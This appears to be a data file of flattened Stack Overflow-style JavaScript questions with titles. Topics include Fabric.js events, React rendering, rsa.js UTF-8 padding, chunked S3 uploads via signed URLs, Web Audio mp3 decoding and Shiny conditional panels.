, this.handleMouseDown ) ; testMouseDownHandler : function ( event ) { event.e.stopPropagation ( ) ; event.e.stopImmediatePropagation ( ) ; event.e.preventDefault ( ) ; if ( event.e.shiftKey ) { this.canvas.setActiveObject ( this ) ; } } ,",Should 'stopPropagation ' prevent canvas from receiving mouse events on Fabricjs objects ? "JS : I am implementing the abstract factory and the getitems method works and returns 2 items I mocked , however I am not sure how to render these items in the react componentmy code is belowAbstractFactory.tsxCustomer.tsDatasourcesenum.tsDaoFactory.tsJsonDaoFactory.tsSharepointListDaoFactory.tsJsonCustomerDao.tsSharepointCustomerDao.tsIcustomerdao.tsxUPDATE 1I changed the render method as belowand I have these 2 issues import * as React from 'react ' ; import { IAbstractFactoryProps } from `` ./IAbstractFactoryProps '' ; import { IAbstractFactoryState } from `` ./IAbstractFactoryState '' ; import styles from './Abstractfactory.module.scss ' ; import { escape } from ' @ microsoft/sp-lodash-subset ' ; import DaoFactory from `` ./DaoFactory '' ; import ICustomerDao from `` ./ICustomerDao '' ; import DataSources from `` ./DatasourcesEnum '' ; export default class Abstractfactory extends React.Component < IAbstractFactoryProps , { } > { private customerDao : ICustomerDao ; constructor ( props : IAbstractFactoryProps , state : IAbstractFactoryState ) { super ( props ) ; this.setInitialState ( ) ; this.setDaos ( props.datasource ) ; this.state = { items : this.customerDao.listCustomers ( ) , } ; } public render ( ) : React.ReactElement < IAbstractFactoryProps > { return ( < div className= { styles.abstractfactory } > < div className= { styles.container } > < div className= { styles.row } > < div className= { styles.column } > { this.state.items } < /div > < /div > < /div > < /div > ) } public setInitialState ( ) : void { this.state = { items : [ ] } ; } private setDaos ( datasource : string ) : void { const data : any = datasource === `` Sharepoint '' ? DataSources.SharepointList : DataSources.JsonData ; this.customerDao = DaoFactory.getDAOFactory ( data ) .getCustomerDAO ( ) ; //Now , its transparent for us a UI developers what datasource was selected //this.customerDao . } } class Customer { public id : string ; public firstName : string ; public lastName : string ; } export default Customer ; enum DataSources { SharepointList = `` SharepointList '' , JsonData = `` JsonData '' } export default DataSources ; import ICustomerDAO from `` ./ICustomerDAO '' ; import DataSources from `` ./DatasourcesEnum '' ; abstract class DAOFactory { public abstract getCustomerDAO ( ) : ICustomerDAO ; public static getDAOFactory ( whichFactory : DataSources ) : DAOFactory { switch ( whichFactory ) { case DataSources.SharepointList : return new SharepointListDAOFactory ( ) ; case DataSources.JsonData : return new JsonDAOFactory ( ) ; default : return null ; } } } export default DAOFactory ; import SharepointListDAOFactory from `` ./SharepointListDAOFactory '' ; import JsonDAOFactory from `` ./JsonDAOFactory '' ; import DAOFactory from `` ./DaoFactory '' ; import JsonCustomerDAO from `` ./JsonCustomerDAO '' ; import ICustomerDao from `` ./ICustomerDao '' ; class JsonDAOFactory extends DAOFactory { public getCustomerDAO ( ) : ICustomerDao { return new JsonCustomerDAO ( ) ; } } export default JsonDAOFactory ; import DaoFactory from `` ./DaoFactory '' ; import ICustomerDao from `` ./ICustomerDao '' ; import SharepointCustomerDao from `` ./SharepointCustomerDAO '' ; class SharepointListDAOFactory extends DaoFactory { public getCustomerDAO ( ) : ICustomerDao { return new SharepointCustomerDao ( ) ; } } export default SharepointListDAOFactory ; import ICustomerDao from `` ./ICustomerDao '' ; import Customer from `` ./Customer '' ; class JsonCustomerDAO implements ICustomerDao { public insertCustomer ( ) : number { // implementation to be done by reader return 1 ; } public deleteCustomer ( ) : boolean { // implementation to be done by reader return true ; } public findCustomer ( ) : Customer { // implementation to be done by reader return new Customer ( ) ; } public updateCustomer ( ) : boolean { // implementation to be done by reader return true ; } public listCustomers ( ) : Customer [ ] { // implementation to be done by reader let c1 : Customer= new Customer ( ) ; let c2 : Customer= new Customer ( ) ; c1.id= '' 3 '' ; c1.firstName= '' Andrew '' ; c1.lastName= '' Valencia '' ; c2.id= '' 4 '' ; c2.firstName= '' Charles '' ; c2.lastName= '' Smith '' ; let list : Array < Customer > = [ c1 , c2 ] ; return list ; } } export default JsonCustomerDAO ; import ICustomerDao from `` ./ICustomerDao '' ; import Customer from `` ./Customer '' ; class SharepointCustomerDao implements ICustomerDao { public insertCustomer ( ) : number { // implementation to be done by reader return 1 ; } public deleteCustomer ( ) : boolean { // implementation to be done by reader return true ; } public findCustomer ( ) : Customer { // implementation to be done by reader return new Customer ( ) ; } public updateCustomer ( ) : boolean { // implementation to be done by reader return true ; } public listCustomers ( ) : Customer [ ] { // implementation to be done by reader let c1 : Customer = new Customer ( ) ; c1.id= '' 1 '' ; c1.firstName= '' Luis '' ; c1.lastName= '' Valencia '' ; let c2 : Customer = new Customer ( ) ; c2.id= '' 2 '' ; c2.firstName= '' John '' ; c2.lastName= '' Smith '' ; let list : Array < Customer > = [ c1 , c2 ] ; return list ; } } export default SharepointCustomerDao ; import Customer from `` ./Customer '' ; interface ICustomerDao { insertCustomer ( ) : number ; deleteCustomer ( ) : boolean ; findCustomer ( ) : Customer ; updateCustomer ( ) : boolean ; listCustomers ( ) : Customer [ ] ; } export default ICustomerDao ; import * as React from 'react ' ; import { IAbstractfactoryProps } from `` ./IAbstractFactoryProps '' ; import { IAbstractFactoryState } from `` ./IAbstractFactoryState '' ; import styles from './Abstractfactory.module.scss ' ; import { escape } from ' @ microsoft/sp-lodash-subset ' ; import DaoFactory from `` ./DaoFactory '' ; import ICustomerDao from `` ./ICustomerDao '' ; import DataSources from `` ./DatasourcesEnum '' ; export default class Abstractfactory extends React.Component < IAbstractfactoryProps , { } > { private customerDao : ICustomerDao ; constructor ( props : IAbstractfactoryProps , state : IAbstractFactoryState ) { super ( props ) ; this.setInitialState ( ) ; this.setDaos ( props.datasource ) ; } public render ( ) : React.ReactElement < IAbstractfactoryProps > { this.state = { items : this.customerDao.listCustomers ( ) , } ; return null ; } public setInitialState ( ) : void { this.state = { items : [ ] } ; } private setDaos ( datasource : string ) : void { const data : any = datasource === `` Sharepoint '' ? DataSources.SharepointList : DataSources.JsonData ; this.customerDao = DaoFactory.getDAOFactory ( data ) .getCustomerDAO ( ) ; } } public render ( ) : React.ReactElement < IAbstractFactoryProps > { return ( < div className= { styles.abstractfactory } > < div className= { styles.container } > < div className= { styles.row } > < div className= { styles.column } > { this.state.items.map ( i = > ( < div > i.id < /div > ) } < /div > < /div > < /div > < /div > ) ; } [ 23:11:06 ] Error - typescript - src/webparts/abstractfactory/components/Abstractfactory.tsx ( 34,63 ) : error TS1005 : ' , ' expected . [ 23:11:06 ] Error - typescript - src/webparts/abstractfactory/components/Abstractfactory.tsx ( 34,30 ) : error TS2339 : Property 'items ' does not exist on type 'Readonly < { } > ' .",Render multiple items on reactjs component "JS : I have an issue with the actual version of Uploadify ( v3.1 ) .I read the docs , the source and browse Google and StackOverflow but I ca n't find where my problem is.I have a basic form used to upload files on an internal server . I decided to use Uploadify and to manage all the Php with Symfony 2 . It was not easy at first but everything works perfectly now.But when I look at my console , I see that uploadify is making a GET request after init and after each of my uploads . The route called does not exist and I do n't need any more action for this page.Here is my code : And here is my console error : The route /file/upload does not exist and I do n't see it neither in my code or in the source . When I look at the demo on the uploadify website , I see the code looking exactly the same but there are no loose requests.Does anyone have a clue ? $ ( ' # file_upload ' ) .uploadify ( { debug : true , height : 30 , swf : `` { { asset ( 'Route_to_swf ' ) } } '' , uploader : `` { { path ( 'Route_to_upload ' ) } } '' , width : 120 } ) ; GET http : //ip/project/web/app_dev.php/file/upload/ 404 ( Not Found )",Uploadify strange GET request "JS : continuation-local-storage seems to be used , also in context of express.Yet the very basic usage does not work for me , since the context is completely lost ! results in : Have I done something completely wrong or is the CLS simply broken ? Or is the library broken ? If it 's not meant to work with promises , are there other concepts that work as a threadLocal storage to implement multi-tenancy in a proper way ? var createNamespace = require ( 'continuation-local-storage ' ) .createNamespace ; var session = createNamespace ( 'my session ' ) ; async function doAsync ( ) { console.log ( 'Before getting into the promise : ' + session.get ( 'test ' ) ) ; await Promise.resolve ( ) ; console.log ( '*in* the promise : ' + session.get ( 'test ' ) ) ; } session.run ( ( ) = > { session.set ( 'test ' , 'peekaboo ' ) ; doAsync ( ) ; } ) ; $ node server_test.js Before getting into the promise : peekaboo*in* the promise : undefined",How to work around promises when using continuation-local-storage ? "JS : I have an SVG of a dashed gray line . What I want to do is overlay that on top of a green SVG dashed line , and animate out the gray to reveal the green . Sorta like a meter moving from right to left . I saw this example of how to make a dash line : http : //jsfiddle.net/ehan4/2/and was able to do it but my line is already dashed . I ended up doing this : https : //jsfiddle.net/ps5yLyab/How can I overlay the two dash lines and animate out the gray ? < svg version= '' 1.1 '' id= '' Layer_1 '' xmlns= '' http : //www.w3.org/2000/svg '' xmlns : xlink= '' http : //www.w3.org/1999/xlink '' x= '' 0px '' y= '' 0px '' viewBox= '' 0 0 666.9 123.8 '' enable-background= '' new 0 0 666.9 123.8 '' xml : space= '' preserve '' > < path opacity= '' 0.4 '' stroke-width= '' 3 '' fill= '' none '' stroke= '' # 66CD00 '' stroke-linecap= '' round '' stroke-miterlimit= '' 5 '' stroke-dasharray= '' 1,6 '' d= '' M656.2,118.5c0,0-320.4-251-645.9-0.7 '' / > < path id= '' top '' opacity= '' 0.4 '' fill= '' none '' stroke= '' # AEAEAE '' stroke-linecap= '' round '' stroke-miterlimit= '' 5 '' stroke-dasharray= '' 1,6 '' d= '' M656.2,118.5c0,0-320.4-251-645.9-0.7 '' / > < /svg > var path = document.querySelector ( ' # top ' ) ; var length = path.getTotalLength ( ) ; // Clear any previous transitionpath.style.transition = path.style.WebkitTransition = 'none ' ; // Set up the starting positionspath.style.strokeDasharray = 1 + ' ' + 6 ; path.style.strokeDashoffset = length ; // Trigger a layout so styles are calculated & the browser// picks up the starting position before animatingpath.getBoundingClientRect ( ) ; // Define our transitionpath.style.transition = path.style.WebkitTransition = 'stroke-dashoffset 20s linear ' ; // Go ! path.style.strokeDashoffset = ' 0 ' ;",SVG Path Overlay and Animate Out Another Path "JS : I 'm currently working to replace my ActiveX-Implementation in IE through a REST-API based on node.js with running edge.jsSo far the basic examples from the page implementing worked pretty well . I have my index.js set up toAnd the simpleVbFunction.vb asSo far so good . Now i want to be able to access an application running on the machine running node.js . In this case Catia ( could as well be Excel though ) Usually for this I 'd use a simpleVbFunction.vb like thisHowever this does not work . I 'm getting the following error . Error : Unable to compile VB code . -- -- > Errors when compiling as a CLR library : C : \Users\xxxxxx\AppData\Local\Temp\4hf2uw3z.0.vb ( 1,0 ) : error BC30203 : Bezeichner erwartet . -- -- > Errors when compiling as a CLR async lambda expression : C : \Users\xxxxxx\AppData\Local\Temp\cypj4ltp.0.vb ( 7,0 ) : error BC30451 : `` GetObject '' ist nicht deklariert . Auf das Objekt kann aufgrund der Schutzstufe möglicherweise nicht zugegriffen werden . at Error ( native ) at Object.exports.func ( C : \Users\xxxxxx\coding\node\tst_win32ole\node_modules\edge\lib\edge.js:169:17 ) at Object . ( C : \Users\xxxxxx\coding\node\tst_win32ole\index.js:6:20 ) at Module._compile ( module.js:570:32 ) at Object.Module._extensions..js ( module.js:579:10 ) at Module.load ( module.js:487:32 ) at tryModuleLoad ( module.js:446:12 ) at Function.Module._load ( module.js:438:3 ) at Timeout.Module.runMain [ as _onTimeout ] ( module.js:604:10 ) at ontimeout ( timers.js:386:14 ) Now I have to admin my VB.NET skills are a little bit rusty and this might just be an error in my VB-Code but I think it 's something else . Has anyone of you been able to access a COM-Object via edge.js and if yes how was this possible ? [ edit ] OK . I came a little further by switching to C # from VB ( At least the code commented out to access the name of the Excel Application works ) . But this opened another problem . My code here looks like thisNow the problem is , that when working with Visual Studio and compiling the dlls get included automatically ( when setting CATIA as INFITF.Application ) . But with edge.js I 'd get the error that the namespace INFITF could not be found . Any ideas how to get that working ? Sorry for the long question . I 'll tidy this up after this is solved . [ /edit ] var edge = require ( 'edge ' ) ; var edgeVb = require ( 'edge-vb ' ) ; var path = require ( 'path ' ) ; var helloVb = edge.func ( 'vb ' , path.join ( __dirname , 'simpleVbFunction.vb ' ) ) ; helloVb ( 'Testing with String ' , ( err , res ) = > { if ( err ) throw err ; console.log ( res ) ; } ) ; Async Function ( Input As Object ) As Task ( Of Object ) Return Await Task.Run ( Function ( ) Return `` NodeJS Welcomes : `` & Input.ToString ( ) End Function ) End Function Async Function ( Input As Object ) As Task ( Of Object ) Return Await Task.Run ( Function ( ) Dim CATIA as Object set CATIA = GetObject ( , `` CATIA.Application '' ) Return CATIA.ActiveDocument.Application.FullName End Function ) End Function using System.Threading.Tasks ; using System ; using System.Runtime.InteropServices ; // using INFITF ; public class Startup { public async Task < object > Invoke ( object input ) { // dynamic xl = Activator.CreateInstance ( Type.GetTypeFromProgID ( `` Excel.Application '' ) ) ; // return xl.Name ; object CATIA0 = Marshal.GetActiveObject ( `` CATIA.Application '' ) ; INFITF.Application CATIA = CATIA0 as INFITF.Application ; } }",GetObject with edge.js "JS : In my web app , I 'm serializing objects for storage using JSON.stringify ( ) as described here . This is great , and I can easily re-create the objects from the JSON strings , but I lose all of the objects ' methods . Is there a simple way to add these methods back to the objects that I 'm overlooking - perhaps involving prototyping , something I 'm not overly familiar with ? Or is it just a case of creating an elaborate function of my own for doing this ? Edit : Ideally , I 'm looking for something like : Object.inheritMethods ( AnotherObject ) ;",Rebuilding an object serialized in JSON "JS : I am using rsa.js v1.0 from http : //www-cs-students.stanford.edu/~tjw/jsbn/ to encrypt an ASCII string in a browser . The string is actually a 16 byte array that contains a double-length TripleDes key . With rsa v1.0 this works . The byte array is correctly decrypted on the server ( using Bouncy Castle or a Thales HSM ) as a 16 byte array.e.g.When moving the rsa.js v1.4 this not longer works . Bouncy castle decrypts the data , but instead of a 16 byte array , it is now a 25 byte array.The key difference I can see in the rsa.js library is in the v1.1 release notes : Added support for utf-8 encoding of non-ASCII characters when PKCS1 encoding and decoding JavaScript strings.The PKCS # 1 padding in v1.0 is : The PKCS # 1 padding function in v1.1 and later is : rsa.js v1.0 treated each character as a 1 byte character . Since v1.1 characters are tested to see if they are multi-byte utf-8 or not . It seems my only options are to either : Stick with rsa.js v1.0Create a modified version of rsa.js ( and rsa2.js ) that allow me to disable to utf-8 character detection . ( Edited ) Alter code to use defensivejs.com which supports PKCS # 1 v2 ( oaep ) .Ideas ? var zpk = hex2a ( `` E0F8AD4092F81FC401E60ECB7F5B8F1A '' ) ; var rsa = new RSAKey ( ) ; rsa.setPublic ( modulus , exponent ) ; var res = rsa.encrypt ( zpk ) ; if ( res ) { document.rsatest.zpkrsa.value = hex2b64 ( res ) ; } // PKCS # 1 ( type 2 , random ) pad input string s to n bytes , and return a bigintfunction pkcs1pad2 ( s , n ) { if ( n < s.length + 11 ) { alert ( `` Message too long for RSA '' ) ; return null ; } var ba = new Array ( ) ; var i = s.length - 1 ; while ( i > = 0 & & n > 0 ) ba [ -- n ] = s.charCodeAt ( i -- ) ; ba [ -- n ] = 0 ; var rng = new SecureRandom ( ) ; ... return new BigInteger ( ba ) ; } // PKCS # 1 ( type 2 , random ) pad input string s to n bytes , and return a bigintfunction pkcs1pad2 ( s , n ) { if ( n < s.length + 11 ) { // TODO : fix for utf-8 console.error ( `` Message too long for RSA '' ) ; return null ; } var ba = new Array ( ) ; var i = s.length - 1 ; while ( i > = 0 & & n > 0 ) { var c = s.charCodeAt ( i -- ) ; if ( c < 128 ) { // encode using utf-8 ba [ -- n ] = c ; } else if ( ( c > 127 ) & & ( c < 2048 ) ) { ba [ -- n ] = ( c & 63 ) | 128 ; ba [ -- n ] = ( c > > 6 ) | 192 ; } else { ba [ -- n ] = ( c & 63 ) | 128 ; ba [ -- n ] = ( ( c > > 6 ) & 63 ) | 128 ; ba [ -- n ] = ( c > > 12 ) | 224 ; } } ba [ -- n ] = 0 ; ... return new BigInteger ( ba ) ; }",RSA in javascript no longer supports ASCII/byte arrays "JS : I have a SVG graphic embedded via object tag.In the SVG is a link : The mouse over event should trigger the following : My problem is , that i can not access the `` displaybox '' from the svg.I tried .parentNode , .parentElement , document.documentElement.parentElement etc.But all the time the parent element/node is null.Does anyone know how to access the `` outer '' HTML elements from the object/svg ? < ! DOCTYPE html > < html > < head > < title > myTitle < /title > < script type= '' text/javascript '' src= '' script.js '' > < /script > < link href= '' box.css '' rel= '' stylesheet '' type= '' text/css '' media= '' screen '' / > < /head > < body > < div id = '' objectcontainer '' > < div id= '' displaybox '' style= '' display : none ; '' > < /div > < object id = `` mainSVG '' type= '' image/svg+xml '' data= '' map_complete.svg '' > < img id= '' svgPic '' src= '' map_complete.svg '' alt= '' Browser fail '' / > < /object > < /div > < /body > < /html > < a id= '' emerBtn '' xlink : href= '' emergency.html '' onmouseover= '' return playVideo ( ) '' target= '' _parent '' > function playVideo ( ) { //not working , all the time null var doc = document.parentNode ; var elem = document.parentElement ; var otherElem = document.documentElement.parentElement ; //working if triggered from index.html var thediv = document.getElementById ( 'displaybox ' ) ; if ( wasViewed == false ) //show only one time { if ( thediv.style.display == `` none '' ) { wasViewed = true ; thediv.style.display = `` '' ; thediv.innerHTML = `` < div id='videocontainer ' > < video autoplay controls style='display : block ; margin-left : auto ; '' + `` margin-right : auto ; margin-top:150px ; margin-bottom : auto ; width:600px ' > '' + `` < source src='video.mp4 ' type='video/mp4 ' > HMTL5-Video not supported ! < /video > '' + `` < /div > < a href= ' # ' onclick='return palyVideo ( ) ; ' > CLOSE WINDOW < /a > '' ; } else { thediv.style.display = `` none '' ; thediv.innerHTML = `` ; } } //close anyhow else { thediv.style.display = `` none '' ; thediv.innerHTML = `` ; } return false ; }",How to get the ParentElement of Object Tag ? "JS : I am progressively loading a file into a buffer , the buffer is valid , but the browser crashes when the ArrayBuffer is finished loading the file into it . What I need to do is to be able to send the pieces of the buffer buf = this.concatBuffers ( buf , buffer ) ; to the axios PUT request so I can progressively upload the file to s3 , rather than load it into a single variable returned by the promise ( as the memory gets exceeded ) .How do I modify the link between readFileAsBuffer and the uploadFileToS3 method to do this ? This is my code so you can follow the process . concatTypedArrays = ( a , b ) = > { const c = new a.constructor ( a.length + b.length ) ; c.set ( a , 0 ) ; c.set ( b , a.length ) ; return c ; } ; concatBuffers = ( a , b ) = > this.concatTypedArrays ( new Uint8Array ( a.buffer || a ) , new Uint8Array ( b.buffer || b ) , ) .buffer ; readFileAsBuffer = file = > new Promise ( ( resolve , reject ) = > { const fileReader = new FileReader ( ) ; fileReader.file = file ; let buf = new ArrayBuffer ( ) ; const fileChunks = new FileChunker ( file , 2097152 ) ; fileReader.readAsArrayBuffer ( fileChunks.blob ( ) ) ; fileReader.onload = e = > { this.onProgress ( fileChunks ) ; const buffer = e.target.result ; buf = this.concatBuffers ( buf , buffer ) ; if ( fileChunks.hasNext ( ) ) { fileChunks.next ( ) ; fileReader.readAsArrayBuffer ( fileChunks.blob ( ) ) ; return ; } resolve ( buf ) ; } ; fileReader.onerror = err = > { reject ( err ) ; } ; } ) ; uploadFileToS3 = fileObject = > { new Promise ( ( resolve , reject ) = > { const decodedURL = decodeURIComponent ( fileObject.signedURL ) ; this.readFileAsBuffer ( fileObject.fileRef ) .then ( fileBuffer = > { console.log ( fileBuffer ) ; axios .put ( decodedURL , fileBuffer , { headers : { 'Content-Type ' : fileObject.mime , 'Content-MD5 ' : fileObject.checksum , 'Content-Encoding ' : 'UTF-8 ' , ' x-amz-acl ' : 'private ' , } , onUploadProgress : progressEvent = > { const { loaded , total } = progressEvent ; const uploadPercentage = parseInt ( Math.round ( ( loaded * 100 ) / total ) , 10 , ) ; this.setState ( { uploadProgress : uploadPercentage } ) ; console.log ( ` $ { uploadPercentage } % ` ) ; if ( uploadPercentage === 100 ) { console.log ( 'complete ' ) ; } } , } ) .then ( response = > { resolve ( response.data ) ; } ) .catch ( error = > { reject ( error ) ; } ) ; } ) ; } ) ; } ; uploadAllFilesToS3 = ( ) = > { const { files } = this.state ; new Promise ( ( resolve , reject ) = > { Object.keys ( files ) .map ( idx = > { this.uploadFileToS3 ( files [ idx ] ) .then ( response = > { this.setState ( { files : [ ] } ) ; resolve ( response.data ) ; } ) .catch ( error = > { reject ( error ) ; } ) ; } ) ; } ) ; } ; calcFileMD5 = file = > new Promise ( ( resolve , reject ) = > { const fileReader = new FileReader ( ) ; fileReader.file = file ; const spark = new SparkMD5.ArrayBuffer ( ) ; const fileChunks = new FileChunker ( file , 2097152 ) ; fileReader.readAsArrayBuffer ( fileChunks.blob ( ) ) ; fileReader.onload = e = > { this.onProgress ( fileChunks ) ; const buffer = e.target.result ; spark.append ( buffer ) ; if ( fileChunks.hasNext ( ) ) { fileChunks.next ( ) ; fileReader.readAsArrayBuffer ( fileChunks.blob ( ) ) ; return ; } const hash = spark.end ( ) ; const checksumAWS = Buffer.from ( hash , 'hex ' ) .toString ( 'base64 ' ) ; resolve ( checksumAWS ) ; } ; fileReader.onerror = err = > { reject ( err ) ; } ; } ) ;",Send ArrayBuffer to S3 put to signedURL "JS : I got an array ( as result of a mongoDB query ) with some elements like this : But I need to get just a single content field for each data array element , which should be selected by the language . So the result should be ( assuming selecting the english content ) : instead of getting all the content data ... I tried to do it with find ( c = > c.language === 'en ) , but I do n't know how to use this for all elements of the data array . Maybe it is also possible to get the data directly as a mongodb query ? ? { `` _id '' : `` ExxTDXJSwvRbLdtpg '' , `` content '' : [ { `` content '' : `` First paragraph '' , `` language '' : '' en '' , `` timestamp '' :1483978498 } , { `` content '' : `` Erster Abschnitt '' , `` language '' : '' de '' , `` timestamp '' :1483978498 } ] } { `` _id '' : `` ExxTDXJSwvRbLdtpg '' , `` content '' : `` First paragraph '' }",Select nested array object and replace it "JS : In my web application , I have a requirement to play part of mp3 file . This is a local web app , so I do n't care about downloads etc , everything is stored locally.My use case is as follows : determine file to playdetermine start and stop of the soundload the file [ I use BufferLoader ] playQuite simple.Right now I just grab the mp3 file , decode it in memory for use with WebAudio API , and play it.Unfortunately , because the mp3 files can get quite long [ 30minutes of audio for example ] the decoded file in memory can take up to 900MB . That 's a bit too much to handle.Is there any option , where I could decode only part of the file ? How could I detect where to start and how far to go ? I can not anticipate the bitrate , it can be constant , but I would expect variable as well.Here 's an example of what I did : http : //tinyurl.com/z9vjy34The code [ I 've tried to make it as compact as possible ] : var MediaPlayerAudioContext = window.AudioContext || window.webkitAudioContext ; var MediaPlayer = function ( ) { this.mediaPlayerAudioContext = new MediaPlayerAudioContext ( ) ; this.currentTextItem = 0 ; this.playing = false ; this.active = false ; this.currentPage = null ; this.currentAudioTrack = 0 ; } ; MediaPlayer.prototype.setPageNumber = function ( page_number ) { this.pageTotalNumber = page_number } ; MediaPlayer.prototype.generateAudioTracks = function ( ) { var audioTracks = [ ] ; var currentBegin ; var currentEnd ; var currentPath ; audioTracks [ 0 ] = { begin : 4.300 , end : 10.000 , path : `` example.mp3 '' } ; this.currentPageAudioTracks = audioTracks ; } ; MediaPlayer.prototype.show = function ( ) { this.mediaPlayerAudioContext = new MediaPlayerAudioContext ( ) ; } ; MediaPlayer.prototype.hide = function ( ) { if ( this.playing ) { this.stop ( ) ; } this.mediaPlayerAudioContext = null ; this.active = false ; } ; MediaPlayer.prototype.play = function ( ) { this.stopped = false ; console.trace ( ) ; this.playMediaPlayer ( ) ; } ; MediaPlayer.prototype.playbackStarted = function ( ) { this.playing = true ; } ; MediaPlayer.prototype.playMediaPlayer = function ( ) { var instance = this ; var audioTrack = this.currentPageAudioTracks [ this.currentAudioTrack ] ; var newBufferPath = audioTrack.path ; if ( this.mediaPlayerBufferPath & & this.mediaPlayerBufferPath === newBufferPath ) { this.currentBufferSource = this.mediaPlayerAudioContext.createBufferSource ( ) ; this.currentBufferSource.buffer = this.mediaPlayerBuffer ; this.currentBufferSource.connect ( this.mediaPlayerAudioContext.destination ) ; this.currentBufferSource.onended = function ( ) { instance.currentBufferSource.disconnect ( 0 ) ; instance.audioTrackFinishedPlaying ( ) } ; this.playing = true ; this.currentBufferSource.start ( 0 , audioTrack.begin , audioTrack.end - audioTrack.begin ) ; this.currentAudioStartTimeInAudioContext = this.mediaPlayerAudioContext.currentTime ; this.currentAudioStartTimeOffset = audioTrack.begin ; this.currentTrackStartTime = this.mediaPlayerAudioContext.currentTime - ( this.currentTrackResumeOffset || 0 ) ; this.currentTrackResumeOffset = null ; } else { function finishedLoading ( bufferList ) { instance.mediaPlayerBuffer = bufferList [ 0 ] ; instance.playMediaPlayer ( ) ; } if ( this.currentBufferSource ) { this.currentBufferSource.disconnect ( 0 ) ; this.currentBufferSource.stop ( 0 ) ; this.currentBufferSource = null ; } this.mediaPlayerBuffer = null ; this.mediaPlayerBufferPath = newBufferPath ; this.bufferLoader = new BufferLoader ( this.mediaPlayerAudioContext , [ this.mediaPlayerBufferPath ] , finishedLoading ) ; this.bufferLoader.load ( ) ; } } ; MediaPlayer.prototype.stop = function ( ) { this.stopped = true ; if ( this.currentBufferSource ) { this.currentBufferSource.onended = null ; this.currentBufferSource.disconnect ( 0 ) ; this.currentBufferSource.stop ( 0 ) ; this.currentBufferSource = null ; } this.bufferLoader = null ; this.mediaPlayerBuffer = null ; this.mediaPlayerBufferPath = null ; this.currentTrackStartTime = null ; this.currentTrackResumeOffset = null ; this.currentAudioTrack = 0 ; if ( this.currentTextTimeout ) { clearTimeout ( this.currentTextTimeout ) ; this.textHighlightFinished ( ) ; this.currentTextTimeout = null ; this.currentTextItem = null ; } this.playing = false ; } ; MediaPlayer.prototype.getNumberOfPages = function ( ) { return this.pageTotalNumber ; } ; MediaPlayer.prototype.playbackFinished = function ( ) { this.currentAudioTrack = 0 ; this.playing = false ; } ; MediaPlayer.prototype.audioTrackFinishedPlaying = function ( ) { this.currentAudioTrack++ ; if ( this.currentAudioTrack > = this.currentPageAudioTracks.length ) { this.playbackFinished ( ) ; } else { this.playMediaPlayer ( ) ; } } ; ////// Buffered Loader//// Class used to get the sound files//function BufferLoader ( context , urlList , callback ) { this.context = context ; this.urlList = urlList ; this.onload = callback ; this.bufferList = [ ] ; this.loadCount = 0 ; } // this allows us to handle media files with embedded artwork/id3 tagsfunction syncStream ( node ) { // should be done by api itself . and hopefully will . var buf8 = new Uint8Array ( node.buf ) ; buf8.indexOf = Array.prototype.indexOf ; var i = node.sync , b = buf8 ; while ( 1 ) { node.retry++ ; i = b.indexOf ( 0xFF , i ) ; if ( i == -1 || ( b [ i + 1 ] & 0xE0 == 0xE0 ) ) break ; i++ ; } if ( i ! = -1 ) { var tmp = node.buf.slice ( i ) ; //carefull there it returns copy delete ( node.buf ) ; node.buf = null ; node.buf = tmp ; node.sync = i ; return true ; } return false ; } BufferLoader.prototype.loadBuffer = function ( url , index ) { // Load buffer asynchronously var request = new XMLHttpRequest ( ) ; request.open ( `` GET '' , url , true ) ; request.responseType = `` arraybuffer '' ; var loader = this ; function decode ( sound ) { loader.context.decodeAudioData ( sound.buf , function ( buffer ) { if ( ! buffer ) { alert ( 'error decoding file data ' ) ; return } loader.bufferList [ index ] = buffer ; if ( ++loader.loadCount == loader.urlList.length ) loader.onload ( loader.bufferList ) ; } , function ( error ) { if ( syncStream ( sound ) ) { decode ( sound ) ; } else { console.error ( 'decodeAudioData error ' , error ) ; } } ) ; } request.onload = function ( ) { // Asynchronously decode the audio file data in request.response var sound = { } ; sound.buf = request.response ; sound.sync = 0 ; sound.retry = 0 ; decode ( sound ) ; } ; request.onerror = function ( ) { alert ( 'BufferLoader : XHR error ' ) ; } ; request.send ( ) ; } ; BufferLoader.prototype.load = function ( ) { for ( var i = 0 ; i < this.urlList.length ; ++i ) this.loadBuffer ( this.urlList [ i ] , i ) ; } ;",How to decode only part of the mp3 for use with WebAudio API ? "JS : Problem : On the site I am building , I have two JQuery ajax long polling calls constantly pending.I am now trying to put in a file download feature , so that when link is pressed the user is prompted with the SaveAs box . This download of the file is working fine , the problem is that when the link is pressed the two ajax calls are cancelled.I am trying either not have the ajax calls cancelled or the possibility of setting up the ajax calls straight away.Here is the code for the link : HTML : JS : What I have tried : I the code above I was trying to call the two ajax calls after starting the download . This is not working . If I put in some delay so that the calls are initiated after the download is complete then it works but seeing as the files can be big and therefore take an unknown amount of time to receive this is of course a bad solution.I am really confused as to why the ajax calls are being cancelled ? Is this because the page is being unloaded when I press the link ? Seeing as I am only running on a development server with one thread , the new ajax calls that I am trying to set up right after following the link might be failing because the server is busy , could this be the case ? SOLVED : I added a hidden iframe to the buttom of the site and with targeted that with my link . I also removed the JS code , since the ajax calls are now not being cancelled.The code is now looking like this : HTML : < a href= '' /test '' id= '' testfile '' > Tasks < /a > $ ( document ) .on ( 'click ' , '' # testfile '' , function ( event ) { event.preventDefault ( ) ; var href= $ ( this ) .attr ( 'href ' ) ; window.location.href = href ; updater ( ) ; /* AJAX CALL # 1 */ notifier ( ) ; /* AJAX CALL # 2 */ } ) ; < a href= '' /test '' target= '' filetargetframe '' id= '' testfile '' > Tasks < /a > ******** < iframe name= '' filetargetframe '' style= '' display : none '' > < /iframe >",Http request for file download stops JQuery ajax calls "JS : I am trying to build a shiny application using the conditionalPanel function from shiny package . The condition should be written in JavaScript but I would like to be able to use a condition as follows ( written in R ) the documenatation states : condition - A JavaScript expression that will be evaluated repeatedly to determine whether the panel should be displayed.I 'm not familiar with JavaScript at all . I 've tried input.ModelVariables == 'TP53 ' but this does n't work when input.ModelVariables has length bigger than 1.My sidebarPanel fragment with conditionalPanel is below `` TP53 '' % in % unlist ( input $ ModelVariables ) checkboxGroupInput ( `` ModelVariables '' , label = h3 ( `` Which variables to view ? `` ) , choices = list ( `` cohort '' , `` stage '' , `` therapy '' , `` TP53 '' , `` MDM2 '' ) , selected = list ( `` TP53 '' ) ) , conditionalPanel ( condition = `` 'TP53 ' in unlist ( input.ModelVariables ) '' , checkboxGroupInput ( `` ModelVariablesTP53 '' , label = h3 ( `` Which mutations to view ? `` ) , choices = list ( `` Missense '' , `` Other '' , `` WILD '' ) , selected = list ( `` Missense '' , `` Other '' , `` WILD '' ) 